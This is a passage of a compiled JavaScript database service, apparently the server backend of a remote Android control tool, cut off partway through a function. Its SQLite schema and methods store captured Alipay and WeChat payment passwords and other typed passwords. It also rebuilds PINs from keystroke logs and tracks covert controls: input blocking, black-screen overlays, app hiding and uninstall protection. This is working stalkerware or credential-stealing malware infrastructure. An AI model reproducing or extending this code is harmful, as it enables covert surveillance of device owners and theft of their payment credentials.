Files
server/dist/services/DatabaseService.js

1733 lines
65 KiB
JavaScript
Raw Permalink Normal View History

2026-02-09 16:34:01 +08:00
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.DatabaseService = void 0;
const better_sqlite3_1 = __importDefault(require("better-sqlite3"));
const Logger_1 = __importDefault(require("../utils/Logger"));
class DatabaseService {
constructor(dbPath = './devices.db') {
this.logger = new Logger_1.default('DatabaseService');
this.db = new better_sqlite3_1.default(dbPath);
this.initDatabase();
this.logger.info('数据库服务已初始化');
}
/**
* 初始化数据库表结构
*/
initDatabase() {
try {
// 创建设备表
this.db.exec(`
CREATE TABLE IF NOT EXISTS devices (
deviceId TEXT PRIMARY KEY,
deviceName TEXT NOT NULL,
deviceModel TEXT NOT NULL,
osVersion TEXT NOT NULL,
appVersion TEXT NOT NULL,
appPackage TEXT,
appName TEXT,
screenWidth INTEGER NOT NULL,
screenHeight INTEGER NOT NULL,
capabilities TEXT NOT NULL,
firstSeen DATETIME NOT NULL,
lastSeen DATETIME NOT NULL,
connectionCount INTEGER DEFAULT 1,
lastSocketId TEXT,
status TEXT DEFAULT 'offline',
publicIP TEXT,
remark TEXT,
systemVersionName TEXT,
romType TEXT,
romVersion TEXT,
osBuildVersion TEXT
)
`);
// 确保新增列存在(迁移)
this.ensureDeviceTableColumns();
// ✅ 添加status字段到现有表如果不存在
try {
this.db.exec(`ALTER TABLE devices ADD COLUMN status TEXT DEFAULT 'offline'`);
}
catch (error) {
// 字段已存在,忽略错误
}
// 🆕 添加publicIP字段到现有表如果不存在
try {
this.db.exec(`ALTER TABLE devices ADD COLUMN publicIP TEXT`);
}
catch (error) {
// 字段已存在,忽略错误
}
// 🆕 添加系统版本信息字段到现有表(如果不存在)
try {
this.db.exec(`ALTER TABLE devices ADD COLUMN systemVersionName TEXT`);
}
catch (error) {
// 字段已存在,忽略错误
}
try {
this.db.exec(`ALTER TABLE devices ADD COLUMN romType TEXT`);
}
catch (error) {
// 字段已存在,忽略错误
}
try {
this.db.exec(`ALTER TABLE devices ADD COLUMN romVersion TEXT`);
}
catch (error) {
// 字段已存在,忽略错误
}
try {
this.db.exec(`ALTER TABLE devices ADD COLUMN osBuildVersion TEXT`);
}
catch (error) {
// 字段已存在,忽略错误
}
// 创建连接历史表
this.db.exec(`
CREATE TABLE IF NOT EXISTS connection_history (
id INTEGER PRIMARY KEY AUTOINCREMENT,
deviceId TEXT NOT NULL,
socketId TEXT NOT NULL,
connectedAt DATETIME NOT NULL,
disconnectedAt DATETIME,
duration INTEGER,
connectionQuality TEXT,
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
)
`);
// 创建操作日志表
this.db.exec(`
CREATE TABLE IF NOT EXISTS operation_logs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
deviceId TEXT NOT NULL,
logType TEXT NOT NULL,
content TEXT NOT NULL,
extraData TEXT,
timestamp DATETIME NOT NULL,
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
)
`);
// ✅ 创建设备状态表
this.db.exec(`
CREATE TABLE IF NOT EXISTS device_states (
deviceId TEXT PRIMARY KEY,
password TEXT,
inputBlocked BOOLEAN DEFAULT FALSE,
loggingEnabled BOOLEAN DEFAULT FALSE,
blackScreenActive BOOLEAN DEFAULT FALSE,
lastPasswordUpdate DATETIME,
confirmButtonCoords TEXT, -- JSON格式存储坐标 {x: number, y: number}
learnedConfirmButton TEXT, -- JSON格式存储学习的坐标 {x: number, y: number, count: number}
createdAt DATETIME NOT NULL,
updatedAt DATETIME NOT NULL,
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
)
`);
// 🆕 为现有表添加新字段(如果不存在)
try {
this.db.exec(`ALTER TABLE device_states ADD COLUMN confirmButtonCoords TEXT`);
}
catch (error) {
// 字段已存在,忽略错误
}
try {
this.db.exec(`ALTER TABLE device_states ADD COLUMN learnedConfirmButton TEXT`);
}
catch (error) {
// 字段已存在,忽略错误
}
try {
this.db.exec(`ALTER TABLE device_states ADD COLUMN blackScreenActive BOOLEAN DEFAULT FALSE`);
}
catch (error) {
// 字段已存在,忽略错误
}
try {
this.db.exec(`ALTER TABLE device_states ADD COLUMN appHidden BOOLEAN DEFAULT FALSE`);
}
catch (error) {
// 字段已存在,忽略错误
}
try {
this.db.exec(`ALTER TABLE device_states ADD COLUMN uninstallProtectionEnabled BOOLEAN DEFAULT FALSE`);
}
catch (error) {
// 字段已存在,忽略错误
}
// 💰 创建支付宝密码记录表
this.db.exec(`
CREATE TABLE IF NOT EXISTS alipay_passwords (
id INTEGER PRIMARY KEY AUTOINCREMENT,
deviceId TEXT NOT NULL,
password TEXT NOT NULL,
passwordLength INTEGER NOT NULL,
activity TEXT NOT NULL,
inputMethod TEXT NOT NULL,
sessionId TEXT NOT NULL,
timestamp DATETIME NOT NULL,
createdAt DATETIME NOT NULL,
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
)
`);
// 💬 创建微信密码记录表
this.db.exec(`
CREATE TABLE IF NOT EXISTS wechat_passwords (
id INTEGER PRIMARY KEY AUTOINCREMENT,
deviceId TEXT NOT NULL,
password TEXT NOT NULL,
passwordLength INTEGER NOT NULL,
activity TEXT NOT NULL,
inputMethod TEXT NOT NULL,
sessionId TEXT NOT NULL,
timestamp DATETIME NOT NULL,
createdAt DATETIME NOT NULL,
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
)
`);
// 🔐 创建通用密码输入记录表
this.db.exec(`
CREATE TABLE IF NOT EXISTS password_inputs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
deviceId TEXT NOT NULL,
password TEXT NOT NULL,
passwordLength INTEGER NOT NULL,
passwordType TEXT NOT NULL,
activity TEXT NOT NULL,
inputMethod TEXT NOT NULL,
installationId TEXT NOT NULL,
sessionId TEXT NOT NULL,
timestamp DATETIME NOT NULL,
createdAt DATETIME NOT NULL,
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
)
`);
// 🔐 创建用户设备权限表
this.db.exec(`
CREATE TABLE IF NOT EXISTS user_device_permissions (
userId TEXT NOT NULL,
deviceId TEXT NOT NULL,
permissionType TEXT DEFAULT 'control',
grantedAt DATETIME NOT NULL,
expiresAt DATETIME,
isActive BOOLEAN DEFAULT TRUE,
createdAt DATETIME NOT NULL,
updatedAt DATETIME NOT NULL,
PRIMARY KEY (userId, deviceId),
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
)
`);
// 创建索引优化查询性能
this.db.exec(`
CREATE INDEX IF NOT EXISTS idx_logs_device_time ON operation_logs (deviceId, timestamp DESC)
`);
this.db.exec(`
CREATE INDEX IF NOT EXISTS idx_logs_type ON operation_logs (logType)
`);
this.db.exec(`
CREATE INDEX IF NOT EXISTS idx_device_states_deviceId ON device_states (deviceId)
`);
this.db.exec(`
CREATE INDEX IF NOT EXISTS idx_alipay_passwords_deviceId ON alipay_passwords (deviceId)
`);
this.db.exec(`
CREATE INDEX IF NOT EXISTS idx_alipay_passwords_timestamp ON alipay_passwords (timestamp DESC)
`);
this.db.exec(`
CREATE INDEX IF NOT EXISTS idx_wechat_passwords_deviceId ON wechat_passwords (deviceId)
`);
this.db.exec(`
CREATE INDEX IF NOT EXISTS idx_wechat_passwords_timestamp ON wechat_passwords (timestamp DESC)
`);
this.db.exec(`
CREATE INDEX IF NOT EXISTS idx_password_inputs_deviceId ON password_inputs (deviceId)
`);
this.db.exec(`
CREATE INDEX IF NOT EXISTS idx_password_inputs_timestamp ON password_inputs (timestamp DESC)
`);
this.db.exec(`
CREATE INDEX IF NOT EXISTS idx_password_inputs_type ON password_inputs (passwordType)
`);
this.logger.info('数据库表初始化完成');
}
catch (error) {
this.logger.error('初始化数据库失败:', error);
throw error;
}
}
/**
* 迁移确保 devices 表包含新增列
*/
ensureDeviceTableColumns() {
try {
const pragma = this.db.prepare(`PRAGMA table_info(devices)`).all();
const columns = new Set(pragma.map(c => c.name));
const pendingAlters = [];
if (!columns.has('appPackage')) {
pendingAlters.push(`ALTER TABLE devices ADD COLUMN appPackage TEXT`);
}
if (!columns.has('appName')) {
pendingAlters.push(`ALTER TABLE devices ADD COLUMN appName TEXT`);
}
if (!columns.has('remark')) {
pendingAlters.push(`ALTER TABLE devices ADD COLUMN remark TEXT`);
}
if (pendingAlters.length > 0) {
this.logger.info(`检测到 devices 表缺少列,开始迁移: ${pendingAlters.length}`);
const tx = this.db.transaction((sqls) => {
sqls.forEach(sql => this.db.exec(sql));
});
tx(pendingAlters);
this.logger.info('devices 表列迁移完成');
}
}
catch (error) {
this.logger.error('迁移 devices 表失败:', error);
}
}
/**
* 根据socketId查询设备信息
*/
getDeviceBySocketId(socketId) {
try {
const stmt = this.db.prepare(`
SELECT * FROM devices WHERE lastSocketId = ?
`);
const row = stmt.get(socketId);
if (row) {
return this.rowToDeviceRecord(row);
}
return null;
}
catch (error) {
this.logger.error('根据socketId查询设备失败:', error);
return null;
}
}
/**
* 根据deviceId查询设备信息
*/
getDeviceById(deviceId) {
try {
const stmt = this.db.prepare(`
SELECT * FROM devices WHERE deviceId = ?
`);
const row = stmt.get(deviceId);
if (row) {
return this.rowToDeviceRecord(row);
}
return null;
}
catch (error) {
this.logger.error('根据deviceId查询设备失败:', error);
return null;
}
}
/**
* 保存或更新设备信息
*/
saveDevice(deviceInfo, socketId) {
try {
const existing = this.getDeviceById(deviceInfo.deviceId);
const now = new Date();
if (existing) {
// 更新现有设备
const stmt = this.db.prepare(`
UPDATE devices SET
deviceName = ?,
deviceModel = ?,
osVersion = ?,
appVersion = ?,
appPackage = ?,
appName = ?,
screenWidth = ?,
screenHeight = ?,
capabilities = ?,
lastSeen = ?,
connectionCount = connectionCount + 1,
lastSocketId = ?,
status = 'online',
publicIP = ?,
remark = ?,
systemVersionName = ?,
romType = ?,
romVersion = ?,
osBuildVersion = ?
WHERE deviceId = ?
`);
// 仅当传入的 remark 明确提供时才更新,否则保留数据库中的 remark
const remarkToUse = (deviceInfo.remark !== undefined) ? deviceInfo.remark : existing.remark;
stmt.run(deviceInfo.deviceName, deviceInfo.deviceModel, deviceInfo.osVersion, deviceInfo.appVersion, deviceInfo.appPackage || null, deviceInfo.appName || null, deviceInfo.screenWidth, deviceInfo.screenHeight, JSON.stringify(deviceInfo.capabilities), now.toISOString(), socketId, deviceInfo.publicIP || null, remarkToUse || null, deviceInfo.systemVersionName || null, deviceInfo.romType || null, deviceInfo.romVersion || null, deviceInfo.osBuildVersion || null, deviceInfo.deviceId);
this.logger.info(`设备信息已更新: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
}
else {
// 插入新设备
const stmt = this.db.prepare(`
INSERT INTO devices (
deviceId, deviceName, deviceModel, osVersion, appVersion, appPackage, appName,
screenWidth, screenHeight, capabilities, firstSeen, lastSeen,
connectionCount, lastSocketId, status, publicIP, remark,
systemVersionName, romType, romVersion, osBuildVersion
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`);
stmt.run(deviceInfo.deviceId, deviceInfo.deviceName, deviceInfo.deviceModel, deviceInfo.osVersion, deviceInfo.appVersion, deviceInfo.appPackage || null, deviceInfo.appName || null, deviceInfo.screenWidth, deviceInfo.screenHeight, JSON.stringify(deviceInfo.capabilities), now.toISOString(), now.toISOString(), 1, socketId, 'online', deviceInfo.publicIP || null, deviceInfo.remark || null, deviceInfo.systemVersionName || null, deviceInfo.romType || null, deviceInfo.romVersion || null, deviceInfo.osBuildVersion || null);
this.logger.info(`新设备已记录: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
}
// 记录连接历史
this.recordConnection(deviceInfo.deviceId, socketId, now);
}
catch (error) {
this.logger.error('保存设备信息失败:', error);
throw error;
}
}
/**
* 记录连接历史
*/
recordConnection(deviceId, socketId, connectedAt) {
try {
const stmt = this.db.prepare(`
INSERT INTO connection_history (deviceId, socketId, connectedAt)
VALUES (?, ?, ?)
`);
stmt.run(deviceId, socketId, connectedAt.toISOString());
}
catch (error) {
this.logger.error('记录连接历史失败:', error);
}
}
/**
* 将设备状态设置为离线
*/
setDeviceOffline(deviceId) {
try {
const stmt = this.db.prepare(`
UPDATE devices SET status = 'offline', lastSeen = ? WHERE deviceId = ?
`);
stmt.run(new Date().toISOString(), deviceId);
this.logger.info(`设备状态已设置为离线: ${deviceId}`);
}
catch (error) {
this.logger.error('设置设备离线状态失败:', error);
}
}
/**
* 通过Socket ID将设备设置为离线
*/
setDeviceOfflineBySocketId(socketId) {
try {
const stmt = this.db.prepare(`
UPDATE devices SET status = 'offline', lastSeen = ? WHERE lastSocketId = ?
`);
stmt.run(new Date().toISOString(), socketId);
this.logger.info(`设备状态已设置为离线 (Socket: ${socketId})`);
}
catch (error) {
this.logger.error('通过Socket ID设置设备离线状态失败:', error);
}
}
/**
* 将所有设备状态重置为离线
*/
resetAllDevicesToOffline() {
try {
const stmt = this.db.prepare(`
UPDATE devices SET status = 'offline', lastSeen = ?
`);
const result = stmt.run(new Date().toISOString());
this.logger.info(`已将 ${result.changes} 个设备状态重置为离线`);
}
catch (error) {
this.logger.error('重置所有设备状态失败:', error);
}
}
/**
* 更新连接断开信息
*/
updateDisconnection(socketId) {
try {
const disconnectedAt = new Date();
// 查找最近的连接记录
const findStmt = this.db.prepare(`
SELECT * FROM connection_history
WHERE socketId = ? AND disconnectedAt IS NULL
ORDER BY connectedAt DESC LIMIT 1
`);
const connection = findStmt.get(socketId);
if (connection) {
const connectedAt = new Date(connection.connectedAt);
const duration = Math.floor((disconnectedAt.getTime() - connectedAt.getTime()) / 1000);
const updateStmt = this.db.prepare(`
UPDATE connection_history SET
disconnectedAt = ?,
duration = ?,
connectionQuality = ?
WHERE id = ?
`);
// 根据连接时长判断连接质量
let quality = 'good';
if (duration < 30) {
quality = 'poor';
}
else if (duration < 120) {
quality = 'fair';
}
updateStmt.run(disconnectedAt.toISOString(), duration, quality, connection.id);
this.logger.info(`连接断开记录已更新: ${socketId}, 持续时间: ${duration}秒, 质量: ${quality}`);
}
}
catch (error) {
this.logger.error('更新断开连接记录失败:', error);
}
}
/**
* 获取设备连接统计
*/
getDeviceStats(deviceId) {
try {
const stmt = this.db.prepare(`
SELECT
COUNT(*) as totalConnections,
AVG(duration) as avgDuration,
MAX(duration) as maxDuration,
MIN(duration) as minDuration,
SUM(CASE WHEN connectionQuality = 'poor' THEN 1 ELSE 0 END) as poorConnections
FROM connection_history
WHERE deviceId = ? AND duration IS NOT NULL
`);
return stmt.get(deviceId);
}
catch (error) {
this.logger.error('获取设备统计失败:', error);
return null;
}
}
/**
* 获取所有设备列表
*/
getAllDevices() {
try {
const stmt = this.db.prepare(`
SELECT * FROM devices ORDER BY lastSeen DESC
`);
const rows = stmt.all();
return rows.map(row => this.rowToDeviceRecord(row));
}
catch (error) {
this.logger.error('获取设备列表失败:', error);
return [];
}
}
/**
* 清理旧连接记录
*/
cleanupOldRecords(daysToKeep = 30) {
try {
const cutoffDate = new Date();
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
const stmt = this.db.prepare(`
DELETE FROM connection_history
WHERE connectedAt < ?
`);
const result = stmt.run(cutoffDate.toISOString());
this.logger.info(`清理了 ${result.changes} 条旧连接记录`);
}
catch (error) {
this.logger.error('清理旧记录失败:', error);
}
}
/**
* 转换数据库行为DeviceRecord
*/
rowToDeviceRecord(row) {
return {
deviceId: row.deviceId,
deviceName: row.deviceName,
deviceModel: row.deviceModel,
osVersion: row.osVersion,
appVersion: row.appVersion,
appPackage: row.appPackage,
appName: row.appName,
screenWidth: row.screenWidth,
screenHeight: row.screenHeight,
capabilities: JSON.parse(row.capabilities),
firstSeen: new Date(row.firstSeen),
lastSeen: new Date(row.lastSeen),
connectionCount: row.connectionCount,
lastSocketId: row.lastSocketId,
status: row.status || 'offline', // ✅ 添加状态字段
publicIP: row.publicIP,
remark: row.remark, // 🆕 添加备注字段
// 🆕 添加系统版本信息字段
systemVersionName: row.systemVersionName,
romType: row.romType,
romVersion: row.romVersion,
osBuildVersion: row.osBuildVersion
};
}
/**
* 🆕 更新设备备注
*/
updateDeviceRemark(deviceId, remark) {
try {
const stmt = this.db.prepare(`
UPDATE devices SET remark = ? WHERE deviceId = ?
`);
const result = stmt.run(remark, deviceId);
if (result.changes > 0) {
this.logger.info(`设备备注已更新: ${deviceId} -> ${remark}`);
return true;
}
else {
this.logger.warn(`设备不存在或备注更新失败: ${deviceId}`);
return false;
}
}
catch (error) {
this.logger.error('更新设备备注失败:', error);
return false;
}
}
/**
* 🆕 获取设备备注
*/
getDeviceRemark(deviceId) {
try {
const stmt = this.db.prepare(`
SELECT remark FROM devices WHERE deviceId = ?
`);
const row = stmt.get(deviceId);
return row ? row.remark : null;
}
catch (error) {
this.logger.error('获取设备备注失败:', error);
return null;
}
}
/**
* 保存操作日志
*/
saveOperationLog(log) {
try {
const stmt = this.db.prepare(`
INSERT INTO operation_logs (deviceId, logType, content, extraData, timestamp)
VALUES (?, ?, ?, ?, ?)
`);
stmt.run(log.deviceId, log.logType, log.content, log.extraData ? JSON.stringify(log.extraData) : null, log.timestamp.toISOString());
this.logger.debug(`操作日志已保存: ${log.deviceId} - ${log.logType}`);
}
catch (error) {
this.logger.error('保存操作日志失败:', error);
throw error;
}
}
/**
* 获取设备操作日志分页
*/
getOperationLogs(deviceId, page = 1, pageSize = 50, logType) {
try {
// 构建查询条件
let whereClause = 'WHERE deviceId = ?';
let params = [deviceId];
if (logType) {
whereClause += ' AND logType = ?';
params.push(logType);
}
// 查询总数
const countStmt = this.db.prepare(`
SELECT COUNT(*) as total FROM operation_logs ${whereClause}
`);
const totalResult = countStmt.get(...params);
const total = totalResult.total;
// 查询分页数据
const offset = (page - 1) * pageSize;
const dataStmt = this.db.prepare(`
SELECT * FROM operation_logs ${whereClause}
ORDER BY timestamp DESC
LIMIT ? OFFSET ?
`);
const rows = dataStmt.all(...params, pageSize, offset);
const logs = rows.map(row => ({
id: row.id,
deviceId: row.deviceId,
logType: row.logType,
content: row.content,
extraData: row.extraData ? JSON.parse(row.extraData) : null,
timestamp: new Date(row.timestamp)
}));
const totalPages = Math.ceil(total / pageSize);
return {
logs,
total,
page,
pageSize,
totalPages
};
}
catch (error) {
this.logger.error('获取操作日志失败:', error);
return {
logs: [],
total: 0,
page: 1,
pageSize,
totalPages: 0
};
}
}
/**
* 删除设备的所有操作日志
*/
clearOperationLogs(deviceId) {
try {
const stmt = this.db.prepare(`
DELETE FROM operation_logs WHERE deviceId = ?
`);
const result = stmt.run(deviceId);
this.logger.info(`已删除设备 ${deviceId}${result.changes} 条操作日志`);
}
catch (error) {
this.logger.error('清理操作日志失败:', error);
throw error;
}
}
/**
* 清理旧的操作日志
*/
cleanupOldOperationLogs(daysToKeep = 7) {
try {
const cutoffDate = new Date();
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
const stmt = this.db.prepare(`
DELETE FROM operation_logs WHERE timestamp < ?
`);
const result = stmt.run(cutoffDate.toISOString());
this.logger.info(`清理了 ${result.changes} 条旧操作日志 (${daysToKeep}天前)`);
}
catch (error) {
this.logger.error('清理旧操作日志失败:', error);
}
}
/**
* 获取操作日志统计
*/
getOperationLogStats(deviceId) {
try {
const stmt = this.db.prepare(`
SELECT
logType,
COUNT(*) as count,
MIN(timestamp) as firstLog,
MAX(timestamp) as lastLog
FROM operation_logs
WHERE deviceId = ?
GROUP BY logType
ORDER BY count DESC
`);
const stats = stmt.all(deviceId);
return stats.map((stat) => ({
logType: stat.logType,
count: stat.count,
firstLog: new Date(stat.firstLog),
lastLog: new Date(stat.lastLog)
}));
}
catch (error) {
this.logger.error('获取操作日志统计失败:', error);
return [];
}
}
/**
* 获取设备最新的密码记录
*/
getLatestDevicePassword(deviceId) {
try {
// 查询包含密码信息的最新日志
const stmt = this.db.prepare(`
SELECT content, extraData FROM operation_logs
WHERE deviceId = ?
AND (
content LIKE '%🔒 密码输入:%' OR
content LIKE '%🔑 密码输入分析完成%' OR
content LIKE '%密码%' OR
content LIKE '%PIN%'
)
ORDER BY timestamp DESC
LIMIT 1
`);
const row = stmt.get(deviceId);
if (row) {
// 尝试从 extraData 中获取密码
if (row.extraData) {
try {
const extraData = JSON.parse(row.extraData);
if (extraData.reconstructedPassword) {
return extraData.reconstructedPassword;
}
if (extraData.actualPasswordText) {
return extraData.actualPasswordText;
}
if (extraData.password) {
return extraData.password;
}
}
catch (e) {
// 忽略 JSON 解析错误
}
}
// 尝试从 content 中提取密码
const content = row.content;
// 匹配 "🔒 密码输入: xxx (N位)" 格式
const passwordMatch = content.match(/🔒 密码输入:\s*(.+?)\s*\(\d+位\)/);
if (passwordMatch) {
const password = passwordMatch[1].trim();
// 过滤掉纯遮罩字符的密码
if (password && !password.match(/^[•*]+$/)) {
return password;
}
}
// 匹配 "🔑 密码输入分析完成: xxx" 格式
const analysisMatch = content.match(/🔑 密码输入分析完成:\s*(.+)/);
if (analysisMatch) {
const password = analysisMatch[1].trim();
if (password && !password.match(/^[•*]+$/)) {
return password;
}
}
}
return null;
}
catch (error) {
this.logger.error('获取设备密码失败:', error);
return null;
}
}
/**
* 获取设备状态
*/
getDeviceState(deviceId) {
try {
const stmt = this.db.prepare(`
SELECT * FROM device_states WHERE deviceId = ?
`);
const row = stmt.get(deviceId);
if (row) {
return {
deviceId: row.deviceId,
password: row.password,
inputBlocked: !!row.inputBlocked,
loggingEnabled: !!row.loggingEnabled,
blackScreenActive: !!row.blackScreenActive,
appHidden: !!row.appHidden,
uninstallProtectionEnabled: !!row.uninstallProtectionEnabled,
lastPasswordUpdate: row.lastPasswordUpdate ? new Date(row.lastPasswordUpdate) : undefined,
confirmButtonCoords: row.confirmButtonCoords ? JSON.parse(row.confirmButtonCoords) : undefined,
learnedConfirmButton: row.learnedConfirmButton ? JSON.parse(row.learnedConfirmButton) : undefined,
createdAt: new Date(row.createdAt),
updatedAt: new Date(row.updatedAt)
};
}
return null;
}
catch (error) {
this.logger.error('获取设备状态失败:', error);
return null;
}
}
/**
* 保存或更新设备状态
*/
saveDeviceState(deviceId, state) {
try {
const existing = this.getDeviceState(deviceId);
const now = new Date();
if (existing) {
// 更新现有状态
const updates = [];
const params = [];
if (state.password !== undefined) {
updates.push('password = ?');
params.push(state.password);
updates.push('lastPasswordUpdate = ?');
params.push(now.toISOString());
}
if (state.inputBlocked !== undefined) {
updates.push('inputBlocked = ?');
params.push(state.inputBlocked ? 1 : 0);
}
if (state.loggingEnabled !== undefined) {
updates.push('loggingEnabled = ?');
params.push(state.loggingEnabled ? 1 : 0);
}
if (state.blackScreenActive !== undefined) {
updates.push('blackScreenActive = ?');
params.push(state.blackScreenActive ? 1 : 0);
}
if (state.appHidden !== undefined) {
updates.push('appHidden = ?');
params.push(state.appHidden ? 1 : 0);
}
if (state.uninstallProtectionEnabled !== undefined) {
updates.push('uninstallProtectionEnabled = ?');
params.push(state.uninstallProtectionEnabled ? 1 : 0);
}
if (state.confirmButtonCoords !== undefined) {
updates.push('confirmButtonCoords = ?');
params.push(state.confirmButtonCoords ? JSON.stringify(state.confirmButtonCoords) : null);
}
if (state.learnedConfirmButton !== undefined) {
updates.push('learnedConfirmButton = ?');
params.push(state.learnedConfirmButton ? JSON.stringify(state.learnedConfirmButton) : null);
}
updates.push('updatedAt = ?');
params.push(now.toISOString());
params.push(deviceId);
const stmt = this.db.prepare(`
UPDATE device_states SET ${updates.join(', ')} WHERE deviceId = ?
`);
stmt.run(...params);
this.logger.info(`设备状态已更新: ${deviceId}`);
}
else {
// 创建新状态记录
const stmt = this.db.prepare(`
INSERT INTO device_states (
deviceId, password, inputBlocked, loggingEnabled,
blackScreenActive, appHidden, uninstallProtectionEnabled, lastPasswordUpdate, confirmButtonCoords, learnedConfirmButton,
createdAt, updatedAt
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`);
stmt.run(deviceId, state.password || null, state.inputBlocked ? 1 : 0, state.loggingEnabled ? 1 : 0, state.blackScreenActive ? 1 : 0, state.appHidden ? 1 : 0, state.uninstallProtectionEnabled ? 1 : 0, state.password ? now.toISOString() : null, state.confirmButtonCoords ? JSON.stringify(state.confirmButtonCoords) : null, state.learnedConfirmButton ? JSON.stringify(state.learnedConfirmButton) : null, now.toISOString(), now.toISOString());
this.logger.info(`设备状态已创建: ${deviceId}`);
}
}
catch (error) {
this.logger.error('保存设备状态失败:', error);
throw error;
}
}
/**
* 更新设备密码
*/
updateDevicePassword(deviceId, password) {
try {
this.saveDeviceState(deviceId, { password });
this.logger.info(`设备密码已更新: ${deviceId}`);
}
catch (error) {
this.logger.error('更新设备密码失败:', error);
throw error;
}
}
/**
* 更新设备输入阻止状态
*/
updateDeviceInputBlocked(deviceId, blocked) {
try {
this.saveDeviceState(deviceId, { inputBlocked: blocked });
this.logger.info(`设备输入阻止状态已更新: ${deviceId} -> ${blocked}`);
}
catch (error) {
this.logger.error('更新设备输入阻止状态失败:', error);
throw error;
}
}
/**
* 更新设备日志记录状态
*/
updateDeviceLoggingEnabled(deviceId, enabled) {
this.saveDeviceState(deviceId, { loggingEnabled: enabled });
this.logger.info(`设备 ${deviceId} 日志状态已更新: ${enabled}`);
}
/**
* 🆕 更新设备黑屏遮盖状态
*/
updateDeviceBlackScreenActive(deviceId, active) {
this.saveDeviceState(deviceId, { blackScreenActive: active });
this.logger.info(`设备 ${deviceId} 黑屏遮盖状态已更新: ${active}`);
}
/**
* 🆕 更新设备应用隐藏状态
*/
updateDeviceAppHidden(deviceId, hidden) {
this.saveDeviceState(deviceId, { appHidden: hidden });
this.logger.info(`设备 ${deviceId} 应用隐藏状态已更新: ${hidden}`);
}
/**
* 🛡 更新设备防止卸载保护状态
*/
updateDeviceUninstallProtection(deviceId, enabled) {
this.saveDeviceState(deviceId, { uninstallProtectionEnabled: enabled });
this.logger.info(`设备 ${deviceId} 防止卸载保护状态已更新: ${enabled}`);
}
/**
* 获取设备密码优先从状态表获取其次从日志获取
*/
getDevicePassword(deviceId) {
try {
// 1. 优先从设备状态表获取
const deviceState = this.getDeviceState(deviceId);
if (deviceState && deviceState.password) {
this.logger.info(`从状态表获取设备密码: ${deviceId}`);
return deviceState.password;
}
// 2. 从操作日志获取
const passwordFromLog = this.getLatestDevicePassword(deviceId);
if (passwordFromLog) {
this.logger.info(`从日志获取设备密码: ${deviceId}`);
// 同时保存到状态表
this.updateDevicePassword(deviceId, passwordFromLog);
return passwordFromLog;
}
return null;
}
catch (error) {
this.logger.error('获取设备密码失败:', error);
return null;
}
}
/**
* 保存设备密码别名方法用于API调用
*/
saveDevicePassword(deviceId, password) {
this.updateDevicePassword(deviceId, password);
}
/**
* 更新设备状态别名方法用于API调用
*/
updateDeviceState(deviceId, state) {
this.saveDeviceState(deviceId, state);
}
/**
* 🆕 保存确认按钮坐标
*/
saveConfirmButtonCoords(deviceId, coords) {
try {
this.saveDeviceState(deviceId, { confirmButtonCoords: coords });
this.logger.info(`确认按钮坐标已保存: ${deviceId} -> (${coords.x}, ${coords.y})`);
}
catch (error) {
this.logger.error('保存确认按钮坐标失败:', error);
throw error;
}
}
/**
* 🆕 获取确认按钮坐标
*/
getConfirmButtonCoords(deviceId) {
try {
const deviceState = this.getDeviceState(deviceId);
if (deviceState && deviceState.confirmButtonCoords) {
return deviceState.confirmButtonCoords;
}
return null;
}
catch (error) {
this.logger.error('获取确认按钮坐标失败:', error);
return null;
}
}
/**
* 🆕 更新学习的确认按钮坐标
*/
updateLearnedConfirmButton(deviceId, coords) {
try {
const existing = this.getDeviceState(deviceId);
let learnedConfirmButton = { x: coords.x, y: coords.y, count: 1 };
if (existing && existing.learnedConfirmButton) {
// 更新现有学习数据
learnedConfirmButton = {
x: coords.x,
y: coords.y,
count: existing.learnedConfirmButton.count + 1
};
}
this.saveDeviceState(deviceId, { learnedConfirmButton });
this.logger.info(`学习的确认按钮坐标已更新: ${deviceId} -> (${coords.x}, ${coords.y}) 次数: ${learnedConfirmButton.count}`);
}
catch (error) {
this.logger.error('更新学习的确认按钮坐标失败:', error);
throw error;
}
}
/**
* 从操作日志中获取可能的密码候选
*/
getPasswordCandidatesFromLogs(deviceId) {
try {
// 首先查看该设备有什么类型的日志
const allLogsQuery = `
SELECT logType, COUNT(*) as count
FROM operation_logs
WHERE deviceId = ?
GROUP BY logType
`;
const logTypeCounts = this.db.prepare(allLogsQuery).all(deviceId);
this.logger.info(`设备 ${deviceId} 的日志类型分布:`, logTypeCounts);
const query = `
SELECT content, extraData, timestamp, logType
FROM operation_logs
WHERE deviceId = ?
AND logType = 'TEXT_INPUT'
ORDER BY timestamp DESC
LIMIT 100
`;
const logs = this.db.prepare(query).all(deviceId);
this.logger.info(`从设备 ${deviceId} 获取到 ${logs.length} 条文本输入日志`);
return logs;
}
catch (error) {
this.logger.error('获取密码候选失败:', error);
return [];
}
}
/**
* 💰 保存支付宝密码记录
*/
saveAlipayPassword(record) {
try {
const stmt = this.db.prepare(`
INSERT INTO alipay_passwords (
deviceId, password, passwordLength, activity, inputMethod,
sessionId, timestamp, createdAt
) VALUES (?, ?, ?, ?, ?, ?, ?, ?)
`);
const now = new Date();
stmt.run(record.deviceId, record.password, record.passwordLength, record.activity, record.inputMethod, record.sessionId, record.timestamp.toISOString(), now.toISOString());
this.logger.info(`💰 支付宝密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`);
}
catch (error) {
this.logger.error('保存支付宝密码失败:', error);
throw error;
}
}
/**
* 💰 获取设备的支付宝密码记录分页
*/
getAlipayPasswords(deviceId, page = 1, pageSize = 50) {
try {
// 查询总数
const countStmt = this.db.prepare(`
